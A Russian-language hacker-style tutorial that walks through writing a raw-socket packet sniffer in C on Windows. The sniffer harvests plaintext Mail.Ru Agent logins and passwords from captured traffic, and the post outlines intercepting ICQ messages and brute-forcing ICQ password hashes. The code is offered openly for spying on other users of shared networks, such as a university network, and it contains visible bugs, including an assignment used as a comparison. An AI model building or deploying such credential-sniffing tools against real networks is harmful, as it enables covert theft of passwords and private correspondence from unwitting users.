Сейчас практически везде есть интернет, а это значит, что существуют сервера, которые его раздают. Крупные офисные сети, локальные сети, провайдеры ммм как много вкусной информации ;)

Анализаторов трафика или снифферов сейчас предостаточно, лично я пользуюсь wireshark, но мы же круты и напишем простейший сниффер на Си.

Для того чтобы получать данные с сетевой карты ее нужно перевести в режим "promiscuous_mode"

int main(int argc, char* argv[]) {
  WSADATA wsadata;
  SOCKET sock;
  CHAR szHostName[16];
  HOSTENT* phe;
  SOCKADDR_IN sa;
  DWORD flag = TRUE;

  unsigned char buffer[65555];

  struct in_addr need;  // А это необходимо для inet_ntoa макроса

  WSAStartup(MAKEWORD(2, 2), &wsadata);

  sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);

  if (sock == INVALID_SOCKET) {
    printf("Error create socket\n");
    return 0;
  }

  if (gethostname(szHostName, sizeof szHostName) != 0) {
    printf("Error get hostname\n");
    return 0;
  }

  phe = gethostbyname(szHostName);
  if (phe == NULL) {
    printf("Error get hostname data\n");
    return 0;
  }

  ZeroMemory(&sa, sizeof sa);
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = ((struct in_addr*)phe - > h_addr_list[0]) - > s_addr;

  need.s_addr = sa.sin_addr.s_addr;

  if (bind(sock, &sa, sizeof(sa)) != 0) {
    printf("Error set bind socket\n");
    return 0;
  }

  if (ioctlsocket(sock, SIO_RCVALL, &flag) == SOCKET_ERROR) {
    printf("Error activate promiscuous mode\n");
    return 0;
  }

  while (1)

  {
    resbuf = recvfrom(sock, buffer, sizeof buffer, 0, 0, 0);

    // ставим фильтр тока на исходящий траффик
    // можешь убрать или настроить только на входящий
    ip = (struct my_ip*)(buffer);
    if (need.s_addr != ip - > ip_source) {
      continue;
    }

    // анализ принятого буффера
  }

  closesocket(sock);
  WSACleanup;

  return 0;
}

Ну, теперь трафика у нас предостаточно, что же мы будем с ним делать? Анализировать товарищи! но не руками, а функциями

Давайте для начала напишем функцию, которая будет показывать логины и пароли при подключении Mail Agent-а.

Изучив документацию по протоколу MRA становится ясно, что для подключения клиент должен послать пакет MRIM_CS_LOGIN2

Имя пакета: MRIM_CS_LOGIN2
Тип пакета: cs
Параметры:

LPS ## login ## email авторизующегося пользователя
LPS ## password ## пароль
UL ## status ## статус (см. MRIM_CS_CHANGE_STATUS)
LPS ## user_agent ## текстовое описание клиента пользователя, например "Mail.Ru Miranda Plugin v 1.0"

нам остается лишь включить сниффер, найти этот пакет скопировать его дамп в файлик и написать функцию его разбора

int *mraTest(unsigned char *buffer, size_t buflen) {
  typedef struct mrim_packet_header_t {
    unsigned long magic;         // Magic
    unsigned long proto;         // ?????? ?????????
    unsigned long seq;           // Sequence
    unsigned long msg;           // ??? ??????
    unsigned long dlen;          // ????? ??????
    unsigned long from;          // ????? ???????????
    unsigned long fromport;      // ???? ???????????
    unsigned char reserved[16];  // ???????????????
  } mrim_packet_header_t;

  typedef struct lps {
    unsigned long dlen;
    unsigned char str[255];
  } lps;

  mrim_packet_header_t cs;
  lps datas;
  unsigned char *p, *d;
  unsigned char magic[] = {0xEF, 0xBE, 0xAD, 0xDE};
  unsigned char login_msg[] = {0x38, 0x10, 0x00, 0x00};
  unsigned char *pack;

  int i;

  unsigned long maxaddr;
  unsigned long packaddr;

  FILE *f;

  p = memmem(buffer, &magic, buflen, 4);

  if (p != 0) {
    d = memmem(buffer, &login_msg, buflen, 4);
    if (d != 0) {
      memset(&cs, 0x00, sizeof(cs));
      memcpy(&cs, p, 44);

      if (cs.msg = 0x1038) {
        // printf("%d %d\n",buflen,cs.dlen);

        // буффер без заголовка
        if ((buflen - sizeof(cs)) <= 80) {
          return (int *)cs.dlen;
        }
        printf("Mail Agent login------------\n");
        pack = (char *)malloc(cs.dlen);
        memcpy(pack, p + sizeof(cs), cs.dlen);
        memcpy(&datas, &pack[0], sizeof(datas));
        if (datas.dlen > 255) {
          return 0;
        }
        datas.str[datas.dlen] = '\000';
        printf("Login: %s\n", datas.str);

        memcpy(&datas, &pack[datas.dlen + 4], sizeof(datas));
        if (datas.dlen > 255) {
          return 0;
        }
        datas.str[datas.dlen] = '\000';
        printf("Password: %s\n", datas.str);

        free(pack);
        return -1;
      }
    }
  }

  return 0;
}

функцию я писал давно и она, к сожалению, не блещет интеллектом, но работает ) (З.Ы.: напиши лучше!)
теперь чтобы наша функция работала в паре с нашим снифером допишем ее сюда

// анализ принятого буфера  
mraTest(buffer,resbuf);

Ну, маил агент это как-то не интересно, давайте замахнемся на ICQ!
но тут не все так просто лично я не знаю на данный момент программы, которая использует не шифрованную версию авторизации (кстати, в QIPе была галочка о простом доступе), а подобрать MD5 хеш пароля очень сложно ведь он по старым стандартам генерировался так

#define AIM_MD5_STRING "AOL Instant Messenger (SM)"  
  
/* calculate md5-hash to send to server */  
md5_init(&state);  
md5_append(&state, (const md5_byte_t *)authkey, strlen(authkey));  
md5_append(&state, (const md5_byte_t *)passwd, strlen(passwd));  
md5_append(&state, (const md5_byte_t *)AIM_MD5_STRING, strlen(AIM_MD5_STRING));  
md5_finish(&state, (md5_byte_t *)auth_hash);  
  
/* Now we ready send to server auth_hash array (16 bytes long) */

впринципе изучив новый протокол мы можем спокойно вытащить и authkey (там не существенные изменения), а открыв программу в отладчике попытаться найти строку AIM_MD5_STRING, а патом долго брутить пароль хех

Нет, мы реализуем кое-что поинтереснее, мы будем перехватывать переписку!

Открыв сниффер включив миранду и отправив другу, сообщение я выяснил, что она отправляет сообщения вот таким макаром, а если быть еще точнее то таким. За дело! сохраняем дамп пакета и начинаем кодить...

вот такой код вышел у меня, и он обрабатывает лишь исходящие сообщения (код потерян в анналах истории).

теперь прикрепляем его в наш сниффер

// анализ принятого буффера
mraTest(buffer,resbuf);
ICQtestMessage(buffer,resbuf);

Я надеюсь, вы втянетесь в разработку фильтров ведь в ICQ я описал лишь прием, да и то только по второму каналу и 1 типу сообщения )

Если задумываться о развитии этого проекта, то можно скрестить его с базами данных и вести нехилое хистори пользователей сети хех ну или искать в сообщениях слова алах-агбар и палить IP пользователя компетентным органам

З.Ы: по закону у каждого провайдера должен стоят сервер ФСБ, а что он там делает 8). В моем универе не хилая сеть, а администраторы мои друзья. Не дай бог там проверить почту зайти в аську или контакт 8)